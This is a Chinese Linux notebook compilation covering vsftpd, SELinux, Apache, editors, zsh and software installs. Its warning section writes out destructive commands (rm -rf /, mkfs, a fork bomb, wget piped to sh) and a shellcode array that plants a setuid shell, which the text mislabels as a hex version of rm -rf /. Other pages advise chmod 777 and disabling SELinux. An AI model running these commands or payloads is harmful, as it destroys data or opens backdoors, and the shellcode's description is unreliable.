附录
最后更新于:2022-04-01 22:04:17
[TOC]
# FlatHub
https://flatpak.org/setup/
# 致命的 Linux 命令
如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
```
rm -rf /
```
此命令将递归并强制删除 / 目录下的所有文件。
这是 `rm -rf /` 的 hex(十六进制)版本,很能迷惑 Linux 用户。
```
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
mkfs.ext3 /dev/sda
```
这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
```
:(){ :|:& };:
```
著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
```
any_command > /dev/sda
```
使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
```
wget http://some_untrusted_source -O- | sh
```
不要从不信任的地方下载东西,这可能会获取恶意代码。
```
mv /home/yourhomedirectory/* /dev/null
```
此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
';
Windows 与 linux 文件共享
最后更新于:2022-04-01 22:04:14
[TOC]
[Windows与Linux文件系统互访的几种方法](http://os.51cto.com/art/201408/449273.htm)
# 为什么要用远程桌面
虽然命令行中可以做很多事,但是有些Linux程序还是不能完全离开窗口环境,或者说离开后操作不方便。当没有显示器或者需要远程图形化操作时,一些远程桌面的价值就体现出来。
# 有哪些远程桌面解决方案
TeamViewer、VNC、RDP、Xdmcp等,欢迎补充。之前很多人都把远程桌面VNC、RDP翻来覆去炒冷饭,却没有人提到SSH+X11转发...
# 什么是X11
X Window System 常被简称为X11或X,其功能包括窗口的绘制、移动,以及与鼠标、键盘等输入设备的交互。相信很多新手都知道startx这个命令,没有X11的话就只能对着黑乎乎的屏幕敲命令了。
它采用C/S模型:一个X server 和多个应用程序(client)通信。server接收client的请求绘制窗口,并将来自鼠标、键盘等设备的输入传递给client。
X server和client可以位于同一计算机上,就类似于平时使用的Windows操作系统;当X server和client不在同一计算机时,使用本地的X server 进行绘制、交互,就变成了远程桌面。
举个例子:前者是你在披萨店点了一份披萨,店员在你旁边帮你做好拿给你(这家店相当于同一台计算机);后者是你在网上叫了一份披萨,店员接单后到你家帮你做了一份披萨(注意:VNC是使用店里厨房,做好给你送过来;X转发是使用你家厨房做披萨)
不理解也没关系,会用能达到目的就好了。Via
常用X Server有免费的Xming、收费的Xmanager(非常棒的Xshell终端软件也是他家出的,家庭教育用户免费使用) 等;上述需要手动配置,然而有了**MobaXterm**,一切都变得超级简单!
';
~Emacs~
最后更新于:2022-04-01 22:04:12
[TOC]
# 服务器用emacs
## Ubuntu下安装:
持续更新……
方法一:只需要在终端逐条输入下列命令即可
(emacs-snapshot 是最新版本,更新速度相对较快)
~~~
sudo add-apt-repository ppa:ubuntu-elisp/ppa
sudo apt update
sudo apt install emacs-snapshot emacs-snapshot-el
~~~
# terminal中的 Emacs
## Package: emacs25-nox (25.1+1-3ubuntu4)
GNU Emacs editor (without GUI support)
## emacs -nw
选项nw代表"no window"
I would think that any GNU Emacs would accept the -nw command line option; the http://emacsformacosx.com/ version included.
You can then use a shell alias or wrapper script to do that by default.
e.g. for bash, you could use alias emacs="emacs -nw" (and add it to your .bashrc file to make it persistent)。
# 配置
## 下载并安装emacs配置文件
~~~
git clone https://github.com/robin-liu-1983/emacs-robin.d.git
cd emacs-robin.d
cp -rf emacs.d ~/.emacs.d
~~~
## 配置文件说明
# 基本操作
# 参考
[为什么 Emacs 和 Vi 的学习曲线非常陡峭](http://blog.jobbole.com/87872/)
';
vim
最后更新于:2022-04-01 22:04:10
[TOC]
# 参考
[VIM: editing (sourceforge.net)](http://vimcdoc.sourceforge.net/doc/editing.html#editing.txt)
';
CentOS下源码安装
最后更新于:2022-04-01 22:04:08
# CentOS下./configure && make && make install
**正常的编译安装/卸载**:
源码的安装一般由3个步骤组成:配置(configure)、编译(make)、安装(make install)。
configure文件是一个可执行的脚本文件,它有很多选项,在待安装的源码目录下使用命令./configure –help可以输出详细的选项列表。
其中`--prefix`选项是配置安装目录,如果不配置该选项,安装后可执行文件默认放在/usr /local/bin,库文件默认放在/usr/local/lib,配置文件默认放在/usr/local/etc,其它的资源文件放在`/usr /local/share`,比较凌乱。
如果配置了--prefix,如:
`$ ./configure --prefix=/usr/local/test`
安装后的所有资源文件都会被放在/usr/local/test目录中,不会分散到其他目录。
使用--prefix选项的另一个好处是方便卸载软件或移植软件;当某个安装的软件不再需要时,只须简单的删除该安装目录,就可以把软件卸载得干干净净;而移植软件只需拷贝整个目录到另外一个机器即可(相同的操作系统下)。
当然要卸载程序,也可以在原来的make目录下用一次make uninstall,但前提是Makefile文件有uninstall命令(nodejs的源码包里有uninstall命令,测试版本v0.10.35)。
## 关于卸载:
如果没有配置--prefix选项,源码包也没有提供make uninstall,则可以通过以下方式可以完整卸载:
找一个临时目录重新安装一遍,如:
$ ./configure --prefix=/tmp/to_remove && make install
然后遍历/tmp/to_remove的文件,删除对应安装位置的文件即可(因为/tmp/to_remove里的目录结构就是没有配置--prefix选项时的目录结构)。
>原文地址:http://www.cnblogs.com/zhangbo127/p/4556008.html
参考地址:http://www.zhihu.com/question/20092756
* * * * *
# ./configure && make && make install 安装三部曲
很多时候我们需要用源码来安装软件,这时最常用的命令就是这三个——`./configure && make && make install`
按照我平时的理解,`./configure`是用来检查环境变量以及配置编译选项,`make`是用来将源代码编译成二进制文件,而`make install`则是将make编译出来的文件安装到指定位置(或默认位置)
刚才搜索LFS搭建过程的时候,无意中看到了金步国先生写的《深入理解软件包的配置、编译与安装》,方才彻底理解了./configure && make && make install 安装三部曲的真正原理,我原来的理解虽然不错,但是不全面。
用一句话来解释这个过程就是:根据源码包中 Makefile.in 文件的指示,configure 脚本检查当前的系统环境和配置选项,在当前目录中生成 Makefile 文件(还有其它本文无需关心的文件),然后 make 程序就按照当前目录中的 Makefile 文件的指示将源代码编译为二进制文件,最后将这些二进制文件移动(即安装)到指定的地方(仍然按照 Makefile 文件的指示)。
> 具体关于makefile、make的选项以及configure脚本的具体说明,请参考金步国先生的《[深入理解软件包的配置、编译与安装](http://www.jinbuguo.com/linux/understand_package_install.html)》。
';
解压缩
最后更新于:2022-04-01 22:04:05
## unzip
先要安装unzip,然后才能使用命令。
安装方法:`yum install unzip`。
`cd /home` #进入/home目录
1、把/home目录下面的mydata目录压缩为mydata.zip
`zip -r mydata.zip mydata` #压缩mydata目录
2、把/home目录下面的mydata.zip解压到mydatabak目录里面
`unzip mydata.zip -d mydatabak `
3、把/home目录下面的abc文件夹和123.txt压缩成为abc123.zip
`zip -r abc123.zip abc 123.txt `
4、把/home目录下面的wwwroot.zip直接解压到/home目录里面
`unzip wwwroot.zip`
5、把/home目录下面的abc12.zip、abc23.zip、abc34.zip同时解压到/home目录里面
`unzip abc\*.zip `
6、查看把/home目录下面的wwwroot.zip里面的内容
`unzip -v wwwroot.zip `
7、验证/home目录下面的wwwroot.zip是否完整
`unzip -t wwwroot.zip`
8、把/home目录下面wwwroot.zip里面的所有文件解压到第一级目录
`unzip -j wwwroot.zip`
## 打包、解压RAR文件包
有些朋友购买了vps后由于他是从原来的win主机搬迁过来,备份打包的数据是rar格式的,那在CentOS下怎么解压呢?
Goole一下,找到解决办法:
~~~
wget http://www.rarsoft.com/rar/rarlinux-3.9.3.tar.gz
tar -xvf rarlinux-3.9.3.tar.gz
cd rar
make
~~~
看见下面这些信息就是安装成功了
~~~
mkdir -p /usr/local/bin
mkdir -p /usr/local/lib
cp rar unrar /usr/local/bin
cp rarfiles.lst /etc
cp default.sfx /usr/local/lib
~~~
但有的时候在运行命令rar时,出现下面这个问题,rar: /lib/i686/nosegneg/libc.so.6: version 'GLIBC_2.7' not found (required by rar)解决办法:`cp rar_static /usr/local/bin/rar`使用举例
~~~
rar x lvtao.rar //解压 lvtao.rar 到当前目录
rar lvtao.rar ./lvtao.net/ //将 lvtao.net 目录打包为 lvtao.rar
~~~
';
FTP中问题整理
最后更新于:2022-04-01 22:04:03
# centos vsftp 500 OOPS: cannot change directory:/home/ftp
他的系统是CentOS,是RH派系的。我把vsftpd安装配置好了,以为大功告成,但客户端访问提示如下错误:
`500 OOPS: cannot change directory:/home/ftp`
原因是他的CentOS系统安装了SELinux,因为默认下是没有开启FTP的支持,所以访问时都被阻止了。
//查看SELinux设置
~~~
# getsebool -a|grep ftp
ftpd_disable_trans --> off
或者
ftp_home_dir-->off
~~~
解决方法:
~~~
//使用setsebool命令开启
# setsebool ftpd_disable_trans 1
或者
# setsebool ftp_home_dir 1
~~~
//再次查看当前状态是否是on的状态
~~~
# getsebool -a|grep ftp
ftpd_disable_trans --> on
或者
ftp_home_dir-->on
~~~
//setsebool使用-P参数,无需每次开机都输入这个命令
~~~
# setsebool -P ftpd_disable_trans 1
或者
# setsebool -P ftp_home_dir 1
# service vsftpd restart
~~~
有关selinux的配置
如关闭,仅仅警告,强制等等 需要编辑`/etc/sysconfig/selinux` 默认是强制。
## centos vsftpd 出现553 Could not create file
1。首先确保你的FTP目录 文件是可写的,ls -l 可以查看 如果不是则 chmod 777 ftpd目录
2。使用命令getsebool -a|grep ftp 查看
ftpd_disable_trans ftp_home_dir allow_ftpd_full_access 是否为on
如果不是则使用
setsebool allow_ftpd_full_access on
setsebool ftpd_disable_trans on
setsebool ftp_home_dir on
3。一般这样就可以了,如果还不行请查看配置文件,如果配置文件没有问题可以先远程连接服务器在FTP目录下随便创建一个文件,使用ftp刷新下目录会恢复正常(这个情况我遇到过)。
';
CentOS下的FTP设置
最后更新于:2022-04-01 22:04:01
>一般都使用ftp软通过sftp登录,上传文件。
# centos启用ftp功能
vsftpd作为FTP服务器,在Linux系统中是非常常用的。下面我们介绍如何在centos系统上安装vsftp。
## 什么是vsftpd
vsftpd是一款在Linux发行版中最受推崇的FTP服务器程序。特点是小巧轻快,安全易用。
vsftpd 的名字代表”very secure FTP daemon”, 安全是它的开发者 Chris Evans 考虑的首要问题之一。在这个 FTP 服务器设计开发的最开始的时候,高安全性就是一个目标。
### 1、安装vsftpd
1、以管理员(root)身份执行以下命令
yum install vsftpd
2、设置开机启动vsftpd ftp服务
chkconfig vsftpd on
3、启动vsftpd服务(默认ftp服务是没有启动的,用下面命令启动)
`service vsftpd start`
管理vsftpd相关命令:
~~~
停止vsftpd: service vsftpd stop
重启vsftpd: service vsftpd restart
~~~
安装完后,有/etc/vsftpd/vsftpd.conf 文件,用来配置,还有新建了一个ftp用户和ftp的组,指向home目录为/var/ftp,默认是nologin(不能登录系统)
可以用下面命令查看用户
`cat /etc/passwd `
### 2、安装ftp客户端组件(用来验证是否vsftpd)
`yum -y install ftp `
执行命令尝试登录
`ftp localhost `
输入用户名ftp,密码随便(因为默认是允许匿名的)
登录成功,就代表ftp服务可用了。
但是,外网是访问不了的,所以还要继续配置。
### 3、配置防火墙
因为ftp默认的端口为21,而centos默认是没有开启的,所以要修改iptables文件
`vi /etc/sysconfig/iptables `
在行上面有`22 -j ACCEPT` 下面另起一行输入跟那行差不多的,只是把22换成21,或者**添加这行代码**:`-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 21 -j ACCEPT`,然后`:wq`保存。
保存和关闭文件,重启防火墙:
`service iptables restart `
外网是可以访问上去了,可是发现没法返回目录,也上传不了,因为selinux作怪了。
##4、配置vsftpd服务器
默认的配置文件是/etc/vsftpd/vsftpd.conf,你可以用文本编辑器打开。
vi /etc/vsftpd/vsftpd.conf
添加ftp用户
下面是添加ftpuser用户,设置根目录为/home/wwwroot/ftpuser,禁止此用户登录SSH的权限,并限制其访问其它目录。
**1、修改/etc/vsftpd/vsftpd.conf**
把第一行的 `anonymous_enable=YES` ,改为`NO`,取消匿名登陆
将底下三行
~~~
#chroot_list_enable=YES
# (default follows)
#chroot_list_file=/etc/vsftpd.chroot_list
~~~
改为
~~~
chroot_list_enable=YES
# (default follows)
chroot_list_file=/etc/vsftpd/chroot_list
~~~
重启
`service vsftpd restart `
##5、新建一个用户(ftpuser为用户名,随便就可以)
`useradd ftpuser `
修改密码(输入两次)
`passwd ftpuser `
这样一个用户建完,可以用这个登录,记得用普通登录不要用匿名了。**登录后默认的路径为 /home/ftpuser.**
> **这种方法不能设置自己的目录,推荐使用下面的方法设置用户和用户ftp目录。**
## 6、增加用户ftpuser,指向目录/home/wwwroot/ftpuser,禁止登录SSH权限。
`useradd -d /home/wwwroot/ftpuser -g ftp -s /sbin/nologin ftpuser`
1、设置用户口令
`passwd ftpuser`
2、编辑文件chroot_list:
`vi /etc/vsftpd/chroot_list`
内容为ftp用户名,每个用户占一行,如:
~~~
peter
john
~~~
另外,如果觉得以后管理ftp用户名嫌麻烦,可以使用centos官方发布的脚本管理。地址如下:
http://wiki.centos.org/HowTos/Chroot_Vsftpd_with_non-system_users
## 7、修改selinux(遇到的问题经常与之有关)
`getsebool -a | grep ftp `
执行上面命令,再返回的结果看到两行都是off,代表,没有开启外网的访问。(这是因为服务器开启了selinux,这限制了FTP的登录。)
~~~
....
allow_ftpd_full_access off
....
....
ftp_home_dir off
~~~
只要把上面都变成on就行
执行
~~~
setsebool -P allow_ftpd_full_access 1
setsebool -P ftp_home_dir off 1
~~~
再重启一下vsftpd
`service vsftpd restart `
这样应该没问题了(如果,还是不行,看看是不是用了ftp客户端工具用了passive模式访问了,如提示Entering Passive mode,就代表是passive模式,默认是不行的,因为ftp passive模式被iptables挡住了,下面会讲怎么开启,如果懒得开的话,就看看你客户端ftp是否有port模式的选项,或者把passive模式的选项去掉。如果客户端还是不行,看看客户端上的主机的电脑是否开了防火墙,关吧)
## 8、开启passive模式
默认是开启的,但是要指定一个端口范围,打开vsftpd.conf文件,在后面加上
~~~
pasv_min_port=30000
pasv_max_port=30999
~~~
表示端口范围为30000~30999,这个可以随意改。
改完重启一下vsftpd
由于指定这段端口范围,iptables也要相应的开启这个范围,所以像上面那样打开iptables文件
也是在21上下面另起一行,更那行差不多,只是把21 改为30000:30999,然后`:wq`保存,重启下iptables。这样就搞定了。
';
CentOS
最后更新于:2022-04-01 22:03:59
[Linux虚拟机中安装VMware Tools](http://www.cnblogs.com/Parallel-Life/archive/2012/02/18/2356868.html)
# node
# nginx
## 安装
yum 安装 Nginx,非常简单,一条命令。
~~~
$ sudo yum install nginx
~~~
## 配置 Nginx 服务
设置开机启动
~~~
$ sudo systemctl enable nginx
$ sudo systemctl start nginx
$ sudo systemctl restart nginx
~~~
重新加载,因为一般重新配置之后,不希望重启服务,这时可以使用重新加载。
~~~
$ sudo systemctl reload nginx
~~~
## 参考
[How to Set Up Nginx Server Blocks on CentOS 7](https://linuxize.com/post/how-to-set-up-nginx-server-blocks-on-centos-7/)
[CentOS 7 下 yum 安装和配置 Nginx](https://qizhanming.com/blog/2018/08/06/how-to-install-nginx-on-centos-7)
';
私人配置
最后更新于:2022-04-01 22:03:56
~~~
vim /etc/httpd/conf/httpd.conf
service httpd restart
/bcweb/website/h5
~~~
# 记centos 7.6 安装过程
```shell
# postgresql
# https://ken.io/note/centos7-postgresql12-install-and-configuration
sudo yum install -y postgresql12 postgresql12-server
sudo yum remove -y postgresql12 postgresql12-server
# 查看启动端口
netstat -tunlp
```
';
apache问题
最后更新于:2022-04-01 22:03:54
[TOC]
## **DocumentRoot must be a directory**
今天在修改了一下httpd.conf文件的DocumentRoot目录后重启了httpd服务,却发现报错了。 DocumentRoot must be a directory 。刚开始以为是自己配置有问题,后来检查了好一遍并确认配置的DocumentRoot就是一个directory啊。哎,只好baidu一下了。呵呵,看来遇到过这种报错的人还真不少啊。总结起来有两种可能导致了DocumentRoot must be a directory报错。
#### 1. DocumentRoot的目录配置中带有中文
如果你的DocumentRoot目录设置中有中文的话,请先修改成英文的试试吧。哈哈……如果还不行的话就请接着往下看吧。
#### 2. SELinux的安全策略搞得鬼啊
这是因为系统启用了SELinux安全策略之后会把目录或文件设成各种类型, 如home_root_t和user_home_t类型等。因些apache的进程就没有权限而无法访问你刚才设置的DocumentRoot了。针对 Apache的进程SELinux的安全策略规定只能访问 httpd_sys_content_t类型的目录或文件。所以把目录或文件的策略类型改成httpd_sys_content_t就可以了。修改命令如下:
`chcon -R -h -t httpd_sys_content_t /data/coderbolg/`
可以用 ls -laZ 来查看目录的策略类型是否修改成功。做好了这一步如果还报错,呵呵……那还得往下看。
#### 3. 禁用SELinux
如果你真的被SELinux折磨的没有办法了。那就直接禁用SELinux吧。系统的不安全总比服务器不能访问的权重要低些吧。直接编辑SELinux的配置文件。
`vim /etc/sysconfig/selinux`
把SELINUX的值从enforcing改成disabled就行。存盘退出。这回一定可以了,如果还不可以就重启一下服务器吧。
## 让Linux主机开启.htaccess支持
以前用的都虚拟主机,默认都是支持.htaccess的,而Linux中的centOS大多默认不支持.htaccess,而.htaccess重要性不言而喻。(**Xee**:有段时间弄phpcms v9,结果就是伪静态不行,原来是它没开启!)
国内的很多Linux型主机默认是不开启.htaccess的,从而导致不支持伪静态。而国外的虚拟主机基本上都是支持此服务的,我曾经问过国内的主机提供商为何不开启.htaccess服务,他们的回答很可笑,说是减轻服务器的负担,呵,这真是符合了中国的国情,真让你不知以何种语言反击之。
这里给一些菜鸟扫扫盲,很多站长都单纯的以为.htaccess就是伪静态,把.htaccess当成伪静态的代名词,以为.htaccess就起到.htaccess的作用,其实它的作用比你想象的大得多,出了伪静态,还有我们熟知的404啊、301跳转啊等,都可以通过.htaccess来实现,下面来给大家介绍一下如何在Linux型主机下开启.htaccess的支持,前提你有这个权限,一般这个针对的是服务器或者VPS,虚拟主机基本上是没门,除非你要求提供商帮你开启。另一种情况是有些童鞋在本地搭建PHP+MySQL+Apache的时候用得着此方法,本地的一键安装包有xampp和phpnow等,我个人推荐使用phpnow,简单易用,完全傻瓜式。如果你使用phpnow搭建的话你就不用往下看了,因为默认是开启的。
方法如下:
**第一**:在Apache文件夹下的conf文件夹中找到httpd.conf,记事本或者类似的编辑工具打开后Ctrl+F查找“LoadModule rewrite_module”,找到“LoadModule rewrite_module modules/mod_rewrite.so”所在的那一行,确定这一行前面没有#,就说明已经加载了伪静态模块,假如这一行前面有#,请去掉,phpnow安装后默认是没有#的。
**第二**:让Apache服务器支持.htaccess,如何让自己的本地Apache服务器支持”.htaccess”呢?其实只要简单修改一下apache的httpd.conf设置就可以让支持.htaccess了。打开httpd.conf文件,用文本编辑器打开后,查找
~~~
Options FollowSymLinks
AllowOverride None
~~~
改为
~~~
Options FollowSymLinks
AllowOverride All
~~~
第一是确定是否已经加载了伪静态模块,第二是修改这一处的设置。操作完后测试一下.htaccess是否已生效,如还未生效,请重启Apache服务。
';
apache目录安全文章
最后更新于:2022-04-01 22:03:52
## Linux下PhpMyAdmin程序目录的安全管理
在Linux下开发Web程序,现在很流行的开发方法为:用PHP开发Web程序,用Apache做Web Server,Mysql充当后台管理数据库。这种组合使得开发Web程序简单、安全、效率高。由于程序是在Linux下运行,虽免去了版权费用,对数据库的管理却少了Windows下的图形界面管理工具,因此使用起来有点困难。现在有了一套由php开发爱好者写的管理Linux下数据库的程序,phpMyAdmin可极好的解决使用的易用性问题。PhpMyAdmin对管理Linux下的数据库行之有效,用户可以通过web浏览器新建删除数据库,增加、删除、修改表结构和表数据,还可以通过表单形式提交查询语句,返回数据结果。因此,现在很多的Linux服务器都使用phpMyAdmin管理数据库。
PhpMyAdmin是一套放在服务器端的通过浏览器界面管理的程序,因此,确保其目录安全性十分重要,否则,将导致数据被盗取甚至遭到恶意破坏。下面将详细讲述一般的防范措施。
一、 修改phpMyAdmin目录名:
在不修改目录名前,其他人很容易洞察该目录名,造成安全隐患。如,假设一台Linux主机的域名为:www.test.com,那么不修改目录名的情况下,在地址栏中输入:www.test.com/phpMyAdmin/ 就将进入phpMyAdmin管理程序。因此如果将phpMyAdmin目录改名为一个别人不易知道的目录,如mynameadmin,这样,你在管理自己的数据库时,只要键入:www.test.com/mynameadmin/ 就可以通过浏览器管理数据库了。(注:下面仍将使用phpMyAdmin目录名,如果目录名已换,只需把phpMyAdmin改名为新的目录名即可。)
二、 对phpMyAdmin目录加用户身份验证:
这是很多网站需要用户验证时普遍使用的方法,这样当用户第一次浏览进入该目录时,都将出现一个提示窗口,提示用户输入用户名和密码验证,其是通过使用Apache Server的标准 mod_auth模块实现的,具体操作方法如下:
1、VI编辑Apache Server配置文件,确保文件中如下两句话没有加注释,如果这两句话前有"#"符号,去掉"#"号。
~~~
DocumentRoot /data/web/apache/public/htdocs
AccessFileName . htaccess
AllOerride All
~~~
2、passwd程序创建用户文件:
`htpasswd - c /data/web/apache/secrects/.htpasswd 88998`
其中,-c表示选项告诉htpasswd你想生成一个新的用户文件,/data/web/apache/secrects/ 是你想存放 .htpasswd 文件的目录,文件名称为 .htpasswd,88998 是在验证时所用到的用户名,敲如以上命令后,系统提示你输入密码,这个密码就是验证时所需要用到的密码,该密码在 .htpasswd 文件中是加密的。现在用more来查看 /data/web/apache/secrects/.htpasswd文件,可以看到其中有一行用户名和一串加密密码。
3、创建 .htaccess 文件:
使用文本编辑器,在目录 phpMyAdmin (如果已经改名,就是新的目录名)下创建 .htaccess 文件,在文件中加入如下语句:
~~~
AuthName "用户验证"
AuthType Basic
AuthUserFile /data/web/apache/public/htdocs/phpMyAdmin/.htpasswd
require user 88998
~~~
保存所做操作后,再去看phpMyAdmin目录,将提示验证窗口,输入刚用 htpasswd 命令创建的用户名和密码,即可进入该目录。
三、 增加基于主机的访问控制:
在修改了目录名和增加访问验证机制后,应该说现在的phpMyAdmin已经很安全了,但由于phpMyAdmin目录一般只是数据库管理员使用,为防止别人还知道目录名称和验证密码,还可以增加如下的基于主机的访问控制,基于主机的访问是通过验证用户机器IP来实现的,即只有符合条件的IP才可以反问该目录,否则拒绝访问。
修改 .htaccess 文件如下:
~~~
AuthName "用户验证"
AuthType Basic
AuthUserFile /data/web/apache/public/htdocs/phpMyAdmin/.htpasswd
require user 88998
order deny,allow
deny from all
allow from 202.100.222.80
~~~
这里增加了三条基于主机访问控制指令,其中第一条 order 指令的值是由一个逗号隔开的名单,这个名单表明了哪一个指令更高的优先权,第二条指令 deny 定义不能访问该目录的主机,第三条指令 allow 定义可以访问该目录的主机,这样,该目录除了IP地址为 202.100.222.80 的机器可以访问该目录之外,其他的都不能访问,读者可以把该地址该为用户数据库管理员IP。
**总结**:通过以上三点相结合,就可很好的确保 phpMyAdmin 目录的安全,非数据库管理员将很难通过phpMyAdmin程序读取数据。这里所讲的是针对于phpMyAdmin目录进行讲述,其他目录如需加访问限制,也可依此方法操作。
';
服务器操作
最后更新于:2022-04-01 22:03:49
[TOC]
# [OneinStack一键包](https://oneinstack.com)
* 简单介绍:来自Linuxeye博主独立出来的一键包程序,虽然起步没有Lnmp早,但是在最近发展还是很迅猛的,主要是更新很快,能够快速的更新当前最新的软件版本,以及可以有各种组合安装。比如可以快速安装lnmp、lamp、lnmpa、lnmt。
* 脚本优点:oneinstack一键脚本虽然不算新,但是经过这段时间的发展已经被广大用户实践过,基本上也没有较大的问题,而且可以根据实际的需要选择各种组合和各种软件的版本。
* 脚本安装:(centos)
```
yum -y install wget screen curl python
wget http://mirrors.linuxeye.com/oneinstack-full.tar.gz
tar xzf oneinstack-full.tar.gz
cd oneinstack
screen -S oneinstack
./install.sh
```
这个安装脚本是安装到centos环境的,如果需要debian环境安装,可以到官方网站查看安装命令。
# [linux screen 命令](https://www.ibm.com/developerworks/cn/linux/l-cn-screen/)
作为linux服务器管理员,经常要使用ssh登陆到远程linux机器上做一些耗时的操作。
也许你遇到过使用telnet或SSH远程登录linux,运行一些程序。如果这些程序需要运行很长时间(几个小时),而程序运行过程中出现网络故障,或者客户机故障,这时候客户机与远程服务器的链接将终端,并且远程服务器没有正常结束的命令将被迫终止。
又比如你SSH到主机上后,开始批量的scp命令,如果这个ssh线程断线了,scp进程就中断了。在远程服务器上正在运行某些耗时的作业,但是工作还没做完快要下班了,退出的话就会中断操作了,如何才好呢?
我们利用screen命令可以很好的解决这个问题。实现在断开SSH的情况下,在服务器上继续执行程序。
## 那什么是screen命令?
Screen被称之为一个全屏窗口管理器,用他可以轻松在一个物理终端上获得多个虚拟终端的效果。
Screen功能说明:
简单来说,Screen是一个可以在多个进程之间多路复用一个物理终端的窗口管理器,这意味着你能够使用一个单一的终端窗口运行多终端的应用。Screen中有会话的概念,用户可以在一个screen会话中创建多个screen窗口,在每一个screen窗口中就像操作一个真实的telnet/SSH连接窗口那样。
Screen命令语法:
~~~
screen [-AmRvx -ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>]
~~~
## 更多
http://www.linuxidc.com/Linux/2014-04/100040.htm
';
常用软件
最后更新于:2022-04-01 22:03:47
[TOC]
在Manjaro下:
follate
# 截图
flameshot
> [Manjaro 使用flameshot作为截图工具](https://www.djc8.cn/archives/manjaro-uses-flashshot-as-a-screenshot-tool.html)
# pinta
画图软件
# 位图处理软件GIMP
这款软件可以算得上是Linux系统下的Photoshop,功能强大。正是因为功能强大,所以要驾驭它必须得下点功夫。
# qq
推荐还是手机qq吧,或者 virtualbox 安装qq
# [Redshift](http://jonls.dk/redshift/)
Redshift 是一款显示器色温自动调整应用。它能根据你的环境来调节电脑屏幕的色温,并非仅调节亮度,对于一些不能调节亮度的显示器也有很好的效果。如果你长时间坐在电脑前盯住屏幕,那么使用 Redshift 可更好的保护眼睛。
# [F.lux](https://justgetflux.com/)
F.lux 是一款自动调整屏幕色温亮度的应用,可以预设一个适合的变化色温范围,白天的色温控制在 6500K 以下,晚上的色温控制在 3500K 以上,它能随着一天的时间变化自动调整你电脑显示器屏幕的色温,过滤对人眼伤害最大的蓝光,从而尽可能减少屏幕对眼睛所带来的疲劳感。
# CentOS 7 下安装Chrome浏览器
Chrome浏览器放弃了对Redhat, CentOS等的支持,所以想在最新版本的这些类Unix上安装Chrome就变得不怎么容易,好在互联网总有那么多志愿者,帮你做好这些事,下面记录我这次在CentOS 7 上安装Chrome的命令记录:具体教程见:
1.[Google Chrome 39 Released – Install on RHEL/CentOS 7/6 and Fedora 20-15](http://www.tecmint.com/install-google-chrome-on-redhat-centos-fedora-linux/)
2.[How to install Google Chrome 28+ on RHEL/CentOS 6 or 7](http://chrome.richardlloyd.org.uk/)
首先创建google-chrome的yum安装仓库文件“/etc/yum.repos.d/google-chrome.repo”,文件内容如下:
```
[google-chrome]
name=google-chrome
baseurl=http://dl.google.com/linux/chrome/rpm/stable/x86_64
enabled=1
gpgcheck=1
gpgkey=https://dl.google.com/linux/linux_signing_key.pub
```
配置好了仓库之后就可以使用下面的命令安装了
`sudo yum install -y google-chrome-stable`
';
Linux下tty
最后更新于:2022-04-01 22:03:45
[TOC]
如同其他UNIX类系统,Linux本身也是基于命令行的。试试“Ctrl”+“Alt”+“Fx”。这就是控制台,算是Linux的本来面目。至于使用方法,除了多出登录注销外,其它操作和我们在linux图形界面(X—window)下的终端操作是一样的,在X-Window出问题或不运行X-Window的时候,操作主要在这里完成。
Linux在控制台下提供了不止一个(字符哑)终端,支持多用户同时登录,包括在本机同时登录。控制台“Alt”+“Fx”能够切换到第x个(字符哑)终端或者叫控制台终端tty1-tty6。如果需要从X-Window里跳到第(字符哑)终端,需要“Ctrl”+“Alt”+“Fx”。一般情况下如果要从控制台返回Xwindow可用““Alt”+F7”来返回到Xwind的图形界面。(Linux发行版提供7个虚拟屏幕,1~6号是控制台终端((字符哑)终端),第7个上面跑X-Window。)
只要用组合键:Ctrl+Alt+Fn ,这个n就是你要切换的虚拟终端的号,然后可以再按Alt+F7回到图形界面。
~~~
ctrl+alt+f1 图形--->文本格式
alt+f7 文本格式===图形界面
~~~
但是有了chvt这个命令,就可以这样办拉。呵呵
比如你现在在图形界面,想切换到tty1,也就是一号终端,只要执行
chvt 1 即可
如果你想回到图形己面,只要执行
chvt 7 即可。。
然后输入 who am i 或者 tty 查看当前控制终端
[linux下tty,控制台,虚拟终端,串口,console(控制台终端)详解](http://blog.csdn.net/liaoxinmeng/article/details/5004743)
';
SELinux
最后更新于:2022-04-01 22:03:43
SELinux(Security-Enhanced Linux) 是美国国家安全局(NSA)对于强制访问控制的实现,是 Linux历史上最杰出的新安全子系统。
';
zsh
最后更新于:2022-04-01 22:03:40
# zsh
> https://www.unixmen.com/install-oh-zsh-ubuntu-arch-linux-fedora/
既然是用 Linux 当然没有忘记把 bash 换成 [zsh](Oh My Zsh)
1. 首先是安装 zsh: `sudo pacman -S zsh`
2. 接着配置 oh-my-zsh:`sh -c "$(curl -fsSL https://raw.fastgit.org/ohmyzsh/ohmyzsh/master/tools/install.sh)"`
[ohmyzsh的安装过程中失败拒绝连接问题的解决](https://www.cnblogs.com/fcchen/p/12914066.html)
3. 最后更换默认的 shell: `chsh -s /bin/zsh`
## 插件
~~~
plugins=(
git
z
sudo
zsh-autosuggestions
zsh-syntax-highlighting
zsh-better-npm-completion
history
history-substring-search
node
npm
wd
web-search
last-working-dir
)
~~~
插件
~~~
# zsh-autosuggestions 历史记录插件:
